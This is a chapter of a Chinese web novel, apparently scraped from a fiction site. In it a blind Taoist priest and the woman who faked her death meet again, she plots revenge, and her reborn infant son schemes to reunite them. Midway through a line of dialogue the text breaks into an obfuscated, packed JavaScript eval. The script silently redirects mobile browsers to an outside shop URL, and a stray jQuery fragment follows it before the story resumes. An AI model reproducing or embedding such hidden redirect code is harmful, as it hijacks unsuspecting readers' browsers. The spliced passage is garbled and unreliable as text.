文趣网 > 其他小说 > 折辱厌世道长 > 122. 报复
    不过好在她来到蜀地后有意识控制自己的音色。

    她平静道:“那你和掌柜买不就好了,你和我买做什么。”

    然玄鹤却是摇头:“方才我跟着他的人上山看了,不如夫人手中的好。”

    掌柜顿时面上憋红了:“你……”

    玄鹤面无表情道:“抱歉,但是我家大人要用最好的。”

    林非鱼心下了然,原来方才阮栖风是在等玄鹤,玄鹤跟着掌柜的人去上山看药了。

    她抿唇:“我已经给掌柜了,接下来你和掌柜买便是,掌柜,拿给我几株山参吧,这能换吧?”

    掌柜立马点头,递了上去。

    林非鱼懒得纠缠,拿了转身便走,却发现门口阮栖风已然站起来,却因为目不能视物而只能乖乖站在原地。

    他就那么站着,站在她对面。

    好像一柄雪竹,清贵出尘,风姿雅仪。

    她甚至可以想见,纱布下他的双眼是什么模样,她无数次用唇描摹过的寸寸缕缕。

    “谢谢夫人,蜀地药材难寻,我们找了许久才能找见,多亏了夫人了。”他扬唇笑。

    他漂亮的唇一张一合,带着淡淡的粉。

    阮栖风熟悉她远胜于玄鹤,她能不说话绝不说,否则必定招致祸端。

    她轻嗯一声,离开了药房。

    然,身后却又传来他清越声音:“夫人,可否问一下夫人所在,以后再要买药的话……”

    “那就来这个药房吧,我只会在这个药房换药。”

    她逼着自己不再回头,离去。

    阮栖风怔在原地,随后扬唇一笑。

    玄鹤见她离去,问了掌柜一句:“掌柜,那是哪家的夫人?”

    掌柜道:“啊,那可是成都府县令王大人的夫人呢。”

    玄鹤点头,将消息告诉了阮栖风。

    阮栖风:“王佑之终归还是娶妻了。”

    所有人都在向前走,可阮栖风却好像停留在了一年前。

    停留在,那些个日日夜夜。

    那些记忆,如今只有他一个人会反刍,无数次的黑夜幻梦里,他亦悲亦喜,只求在梦中能多看她哪怕一眼。

    他好像被困住了,被困在心间被深埋的角落,那一方小小的天地。

    那里有她在,她浅笑凝眉,安然明媚,只是坐在那里,就足以让他心安。

    *

    林非鱼近些日子总有些心不在焉。

    不知,阮栖风会来多久?

    原本被掩埋心底的记忆越来越多,一点点浮现出来,压都压不住。

    连王佑之都看出了她的异常。

    “非鱼,怎么了?”

    林非鱼抿唇,摇摇头。

    王佑之见她不欲作答,便也不问了,只是给她夹菜,命人又给她上了一盘瓜果。

    她想了会儿,才道:“明日,要么我去青城山上拜拜吧。”

    王佑之眸光一顿。

    林非鱼垂眸深思,自觉自己这几日之所以脑中胡思乱想,俱是因为阮栖风。

    阮栖风其人之凉薄寡义,她是深知的,她觉得自己只是上次被蛊惑了。

    如若这次上山,可以见到他,那么必然可以提醒自己昔日他做下的种种恶事,她从此就会断情绝欲。

    王佑之道:“明日,我陪你去,近日好像有山匪作乱。”

    她本想拒绝,可是见王佑之坚持,心道本来就是想要绝了自己心思去的,也无妨,便也点头。

    青城山脚下,王佑之牵她下车。

    两旁是参天的楠木和银杏,树冠重叠,落在地上像碎银子。草木蒸出的清苦气息混着远处道观里飘来的香气,让人心神平静。

    “听闻想要爬至山顶,不是易事。”她看着远远山上的道观,心生感慨。

    王佑之温润而笑:“如若夫人走不动了,我背夫人上去。”

    林非鱼噗嗤一声:“你力气有那么大?”

    王佑之笑:“君子六艺,父亲自小对我要求只更高不低。”

    二人说说笑笑,爬了许久,累得她气喘吁吁,好在王佑之命人带了水。

    她喝了,眼神一亮:“当真是清凉至极。”

    王佑之点头:“放了你种的决明子,最为醒目清神。”

    她点头。

    王佑之陪她又爬了许久,爬得她额上出了细密的汗,只觉得头发晕,方才来到了半山腰的道观。

    一入眼便是上清殿飞檐翘角,气宇轩昂,不少香客已请了香正在拜,而她亦然走到取香处,请了三炷香。

    恍惚间,想起昔日林府里,阮栖风一身道袍,手持三炷香,衣袂翩跹笑道:

    “大小姐要观香吗?”

    她那时不以为意,可是后来才想起,那时候阮栖风上香的位置是东南,对应家中长女。

    原来阮栖风一直都在给她祈福。

    她不懂,既然用她的婚事换了入府机会,为何又要给她祈福。

    不觉得矛盾吗、不觉得可笑吗。

    她心思乱到理不清,只是怔怔看着眼前三炷香点燃,随后四方拜了。

    她低着头走向插香炉。

    心思乱到无以复加,以至于撞上了一人。

    林下清泉气息萦绕在面前,她下意识抬眸,抬眼便是她心中千思万想之人。

    霎时间周围的声音好像隔了一层膜,听不清楚;旁人的面目都变得模糊,看不明晰。

    唯有面前一身鹤衣的阮栖风,面白如玉,因为方才的意外而略略一怔。

    即便他的面容被白纱蒙起,她亦然可以清晰想见那下面会是如何一双清隽的眼睛。

    昔日里,她只愿溺毙其中,后来又恨不能亲手剜出。

    漂亮的、眼尾弧度会微微扬起,笑起来会非常媚,含着一汪柔软的春水。

    她忽然想到了,自己这一次来,是为了对他绝情冷意。

    “这位施主,您没事吧?”

    他的声音清越好听,宛若碎玉。

    她低道:“无事。”

    随后,便后退一步,将香插入炉中。

    王佑之适时走上前来,眼神几不可查剐过阮栖风,走到她身边:“没事吧?夫人。”

    林非鱼低头,心思极乱,摇了摇头。

    就当她想要走的时候,却忽闻阮栖风又道:“这位施主,您请的香告诉贫道,您如今心神不定,是有什么烦扰吗?”

    她浑身一僵。

    王佑之却是扬唇,温润出声:

    “道长如今蒙着眼,又如何得知我夫人的香是怎样?”

    阮栖风默了一会儿,随后绽唇:“王大人?好巧。”

    王佑之:“的确。”

    阮栖风道:“没想到连中三元如王大人,也会有一朝自请来到蜀地为官呢,更是没想到,仅仅一年过去,王大人便娶了妻。”

    林非鱼心头一跳。

    顿时,她攥紧了手。

    阮栖风这是……在干什么?

    王佑之低头看了她一眼,温润回道:“这似乎,和阮大人无关吧。”

    阮栖风:“嗯,无关,王大人好大的本事,只是想起先前的三两事,不觉好笑。”

    随后,阮栖风又勾唇:“王夫人,抱歉了,是贫道失言了,还望您莫要迁怒于王大人。”

    林非鱼:……

    林非鱼:“知道了。”

    阮栖风转身而去,然她心中却生了几分异样。

    以至于,她有些心乱。

    和王佑之又逛了片刻,她想着去拜见些神仙,却被拦在观外:

    “此观一次只许一人前去拜见。”

    林非鱼觉得荒谬,不成想这里还有这等规矩。

    但到底还是想进去静静心,于是便和王佑之点头,一人进了观中。

    观中供奉的是药王,孙思邈,她走上前去,想要拜拜让自己养的草药更为繁茂,却隐隐听见有人咳嗽。

    观中无人,她不禁有些好奇,走上前去。

    却发现香火掩映中,一身白衣若雪,墨发如瀑,正咳嗽着。

    阮栖风。

    他怎么会在供奉药王的观里?

    却闻一旁朱鸾道:“如今已经派人在招医女了,公子您的眼疾是心障,云一道长说了需要倾诉,您又何必……”

    阮栖风摇头:“我不要。”

    朱鸾:“一直压在心里,您日日煎熬又算什么?公子是忘了昔日林小姐对您说的,希望您好好活下去了吗?”

    林非鱼:……

    她怎么不记得,她是这么说的。

    默了许久,阮栖风方才道:“可,那是我和她的东西

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773219|206005||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,我不想说给旁人听。”

    朱鸾几分动容:“公子,林小姐已经去了一年了!王公子都新娶了,您又何必苦苦想着林小姐!”

    阮栖风:“她救了我好多次,是我对不起她。”

    朱鸾:“您的眼睛云一道长说是如果再治不好,那就永远瞎了!您真的想要从此就看不见了吗?!”

    阮栖风:“没有她,我要这双眼睛又有何用。”

    林非鱼觉得荒谬。

    无疑,她恨阮栖风,甚至于她现在觉得,自己之所以对阮栖风念念不忘,都是因为她心头那口气还没有撒完的缘故。

    是啊,她的死遁的确让阮栖风肝肠寸断,但是,然后呢?然后她就放过阮栖风了吗?!

    一个兴奋的念头升起。

    不是心障导致的眼疾吗?不是要与人倾诉方能缓解吗?那么,就由她亲自来到他身边,观赏他的悔恨和痛苦,慢慢再折磨他,将心中怨气彻底报复尽了,岂不是一大美事!

    林非鱼顿时心中跳得很快,走上前去:“请问……你们是要医女吗?”

    她今日带了帷帽,看不清面容。

    阮栖风和朱鸾看过来,朱鸾皱眉道:“你是……王夫人?”

    林非鱼道:“是,我略通医理,如若阮道长这里需要医女,我或许可以一试。”

    朱鸾:“可是,您身份贵为夫人,又何必……”

    林非鱼道:“因为我想为我夫君,积善行德。”

    说出夫君二字时,她看见阮栖风面色一顿。

    阮栖风攥紧了手:“不需要。”

    林非鱼一怔,没想到阮栖风会那么干净利落拒绝,但是心中折辱他的念头却是跳得越来越高。

    “夫君时常在我耳边说起林小姐,我心中对林小姐也有几分好奇。”

    阮栖风:“王佑之也会提起……她?”

    林非鱼:“不错,所以,阮道长可以给我一个机会,向我一诉林小姐的往事,我也好……”

    她自己都觉得离奇:“……更好知晓夫君心中困扰。”

    长久的静默。

    阮栖风轻扯唇角:“那……好。”

    “那就辛苦王夫人,日日来山上了,会太辛苦吗?我可以命人去接您每日上下山。”

    林非鱼摇头:“无事。”

    出了道观后,她与王佑之说了,见他原本温润面上露出了一丝裂痕。

    原本清亮温柔双眸里掠过了一瞬的陌生,她甚至怀疑自己看错了。

    王佑之恢复了笑意:“那,以后我送你上山下山。”

    她点点头。

    夜里。

    她来到王念之床前,他十分开怀,笑着伸出小手要来抓她。

    林非鱼又戳他,这个孩子生下来,还是十分讨喜的,虽然孕期折磨得她上吐下泄,但是生下来后却不哭不闹。

    “以后,娘就要去找你爹爹,狠狠折磨他,好不好?”

    王念之眨了眨眼睛,随后又咯咯一笑。

    林非鱼逗了会儿他便睡了。

    王念之原本脸上的笑容瞬间淡了。

    不知道为何,他原本被林非鱼和王佑之养大,直到了二十岁那年。

    那时候,林非鱼忽然听闻了京中一名官员死了的消息,结果就日日寡欢,郁郁而终。

    临终前林非鱼握着他的手,让他去什么阮大人坟前烧香,甚至于还说要和那位大人合葬。

    王念之这才知道,原来他根本不是王佑之的儿子。

    更为可怕的是,王佑之在林非鱼死后第二年,看着他中了探花后,也去了。

    两年内,亲人接二连三离世,以至于王念之心神黯然一时失足踩入沟中,谁也没成想当朝的探花郎居然如此窝囊得被淹死在阴沟里。

    再度睁眼,王念之冷汗津津,发现自己重生了,重生到了自己刚出生几个月的时候。

    上一世这时候林非鱼似乎也自请去过道观,但是去了几日却似乎觉得了无趣味,便回来了。

    王念之仔细分析了上一世的经验,发现了一件可怕的事情,那就是林非鱼可能压根就没对王佑之动过心,哪怕婚后相敬如宾二十年,她心底想的也从来都是那位阮大人。

    为了不让母亲那么早别人世,他决心要好好撮合一下阮栖风还有母亲。

    ……